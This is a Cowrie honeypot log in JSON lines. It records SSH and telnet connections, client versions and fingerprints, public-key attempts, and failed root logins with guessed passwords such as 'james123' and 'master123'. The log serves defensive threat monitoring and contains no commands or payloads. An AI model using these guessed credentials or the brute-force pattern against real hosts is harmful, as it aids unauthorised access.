{"eventid":"cowrie.login.failed","username":"root","password":"2001ad","message":"login attempt [root/2001ad] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:03:51.737191Z","src_ip":"223.197.186.7","session":"57c3bb648a27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.329484224319458,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:03:52.851888Z","src_ip":"152.42.224.71","session":"e0237ce38132","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:03:52.955418Z","src_ip":"223.197.186.7","session":"57c3bb648a27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.245.98.60","src_port":58710,"dst_ip":"10.17.0.5","dst_port":22,"session":"173f67e2ea76","protocol":"ssh","message":"New connection: 43.245.98.60:58710 (10.17.0.5:22) [session: 173f67e2ea76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:03:55.829318Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:03:55.834180Z","src_ip":"43.245.98.60","session":"173f67e2ea76","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:03:56.082779Z","src_ip":"43.245.98.60","session":"173f67e2ea76","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"james123","message":"login attempt [root/james123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:03:57.110827Z","src_ip":"43.245.98.60","session":"173f67e2ea76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:03:58.363242Z","src_ip":"43.245.98.60","session":"173f67e2ea76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":53242,"dst_ip":"159.203.135.109","dst_port":22,"session":"c441429c3ecc","protocol":"ssh","message":"New connection: 103.149.170.125:53242 (159.203.135.109:22) [session: c441429c3ecc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:04:03.574304Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:04:03.592593Z","src_ip":"103.149.170.125","session":"c441429c3ecc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:04:03.859487Z","src_ip":"103.149.170.125","session":"c441429c3ecc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46252,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b5a366ee96b","protocol":"telnet","message":"New connection: 152.42.224.71:46252 (10.17.0.5:23) [session: 7b5a366ee96b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:04:04.489403Z"}
{"eventid":"cowrie.session.closed","duration":51.3663444519043,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:04:04.802935Z","src_ip":"152.42.224.71","session":"05bdb7c6230e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"barselona","message":"login attempt [root/barselona] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:04:04.941222Z","src_ip":"103.149.170.125","session":"c441429c3ecc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:04:06.205945Z","src_ip":"103.149.170.125","session":"c441429c3ecc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"191.96.110.121","src_port":54232,"dst_ip":"159.203.135.109","dst_port":22,"session":"49f72c16b42f","protocol":"ssh","message":"New connection: 191.96.110.121:54232 (159.203.135.109:22) [session: 49f72c16b42f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:04:11.302078Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:04:11.517072Z","src_ip":"191.96.110.121","session":"49f72c16b42f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:04:11.683455Z","src_ip":"191.96.110.121","session":"49f72c16b42f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.89421772956848,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:04:11.931387Z","src_ip":"152.42.224.71","session":"db6ed2f8796b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"samba","message":"login attempt [root/samba] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:04:12.712391Z","src_ip":"191.96.110.121","session":"49f72c16b42f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:04:14.189904Z","src_ip":"191.96.110.121","session":"49f72c16b42f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":59904,"dst_ip":"159.203.135.109","dst_port":22,"session":"82336003dc5d","protocol":"ssh","message":"New connection: 103.176.20.57:59904 (159.203.135.109:22) [session: 82336003dc5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:04:14.641186Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:04:14.645554Z","src_ip":"103.176.20.57","session":"82336003dc5d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:04:14.889192Z","src_ip":"103.176.20.57","session":"82336003dc5d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"master123","message":"login attempt [root/master123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:04:15.625217Z","src_ip":"103.176.20.57","session":"82336003dc5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:04:16.873113Z","src_ip":"103.176.20.57","session":"82336003dc5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33906,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ca622b4b5ae","protocol":"telnet","message":"New connection: 152.42.224.71:33906 (10.17.0.5:23) [session: 2ca622b4b5ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:04:17.597953Z"}
{"eventid":"cowrie.session.connect","src_ip":"124.109.2.211","src_port":48026,"dst_ip":"10.17.0.5","dst_port":22,"session":"9cd6f39f7540","protocol":"ssh","message":"New connection: 124.109.2.211:48026 (10.17.0.5:22) [session: 9cd6f39f7540]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:04:18.666989Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:04:18.671892Z","src_ip":"124.109.2.211","session":"9cd6f39f7540","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:04:18.934496Z","src_ip":"124.109.2.211","session":"9cd6f39f7540","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33908,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee59256e0edf","protocol":"telnet","message":"New connection: 152.42.224.71:33908 (10.17.0.5:23) [session: ee59256e0edf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:04:19.374285Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33920,"dst_ip":"10.17.0.5","dst_port":23,"session":"f85db5bbdf00","protocol":"telnet","message":"New connection: 152.42.224.71:33920 (10.17.0.5:23) [session: f85db5bbdf00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:04:19.765633Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"minolta","message":"login attempt [root/minolta] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:04:20.038984Z","src_ip":"124.109.2.211","session":"9cd6f39f7540","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:04:21.270643Z","src_ip":"124.109.2.211","session":"9cd6f39f7540","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":19.60356044769287,"message":"Connection lost after 19 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:04:24.092812Z","src_ip":"152.42.224.71","session":"7b5a366ee96b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.222.138.237","src_port":57888,"dst_ip":"10.17.0.5","dst_port":22,"session":"119517a0951d","protocol":"ssh","message":"New connection: 185.222.138.237:57888 (10.17.0.5:22) [session: 119517a0951d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:04:32.277196Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:04:32.283269Z","src_ip":"185.222.138.237","session":"119517a0951d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:04:32.398738Z","src_ip":"185.222.138.237","session":"119517a0951d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fe:ae:41:72:6b:5d:2a:55:95:c6:1f:9f:87:8b:91:b4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCQJO/KCjkJR8p7xXvBzwCbuZYQOO4zpj7RxdU10lxDhMtNIWhyD1UxsYvlghmtUQmUSMFpM28PZcvdW6qYFpk9Gan0lnWYzr+Km9NwclFSWSMB8B9pCgYsvxuc6lJofIkf737c6N75P5kx7lfJlZSF4FQ2URxjtgddh1uiqjszRlacilU7xcqMtg0PpPrfKy0gQbLiROoQ49tsLnBUJqr0rMUY+KCuseDuJzHQTyoiPMbAyz07tlHNswpbUiZHeq1gCh9PpGqHofrwvv5Pxb0aiMvXHNoPwZyK5dOjSkl/jANkhNNPAt5MtX1M2ChxalUe5RuCf8qJmgvrWPtpCumL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fe:ae:41:72:6b:5d:2a:55:95:c6:1f:9f:87:8b:91:b4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:04:32.946827Z","src_ip":"185.222.138.237","session":"119517a0951d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fe:ae:41:72:6b:5d:2a:55:95:c6:1f:9f:87:8b:91:b4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCQJO/KCjkJR8p7xXvBzwCbuZYQOO4zpj7RxdU10lxDhMtNIWhyD1UxsYvlghmtUQmUSMFpM28PZcvdW6qYFpk9Gan0lnWYzr+Km9NwclFSWSMB8B9pCgYsvxuc6lJofIkf737c6N75P5kx7lfJlZSF4FQ2URxjtgddh1uiqjszRlacilU7xcqMtg0PpPrfKy0gQbLiROoQ49tsLnBUJqr0rMUY+KCuseDuJzHQTyoiPMbAyz07tlHNswpbUiZHeq1gCh9PpGqHofrwvv5Pxb0aiMvXHNoPwZyK5dOjSkl/jANkhNNPAt5MtX1M2ChxalUe5RuCf8qJmgvrWPtpCumL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:04:32.950828Z","src_ip":"185.222.138.237","session":"119517a0951d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9a:8e:f1:c9:e4:c2:d9:84:2d:73:a3:55:f2:0b:9e:60","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDQLXBw6K8gCeTPh97kM/+VJoC0VOSiRFp+hGDE9Lwb0TADpExdpK9pLY2bJ0i2CE+78el/xB3XRQm79HiLZEUViqwi6OgONU0gpJXygDSxJIgX1rNJObZXKKEziE9ajZi8W2EFB2U41GSdzxJPXf10RsABHbuFHXwOdSCh6RALjzEuxd4ItrQFhRbNHtcsmkwWsNo3Ztol5aHSjQjMtZLV1vrR16NEdj7uPRouh4fJ2mnA0BdsgRV0FoLvbV19U9lz/6DqrR3Fk3zK5GpjjSiCr+ONDZAVT6dzTJmVHvBf5WFktHwR91QMuZ+QBe4ed//Te+aTyAueH8AHQBlGD6VxbFiqRPOhNSfB/2ZEENUTngp/3zdb7Uo4jqNN1EwUwAKwZMQEMjTiJiB5HWosIzpJEJ7d5ldI9XXCn76AOtaI6zAtHDtnZW+Av1dVytiNwHEOLj3k1lYhfnQuB/TgceJDvvSemu+ylTH81Uy/G0NSvUC0+CgqX1rAA/rJrjTwdNp7KXKGWupC1Ls8Eu/jG98AF9WEGhtTwGfUcDMlnpxaie1fJ2CjuFf1BSYcMb3jmz7KzCUWpGQeTADqulMtMUujGEY1TqwiQM4I1nq8D8i/wz0uua1dHgif2mYeymfD5nO/H2ITgILN9bcVmy4DDbUEoX1oJ+sFzIKoVJLaHtc7hw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9a:8e:f1:c9:e4:c2:d9:84:2d:73:a3:55:f2:0b:9e:60","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:04:33.065367Z","src_ip":"185.222.138.237","session":"119517a0951d","protocol":"ssh"}
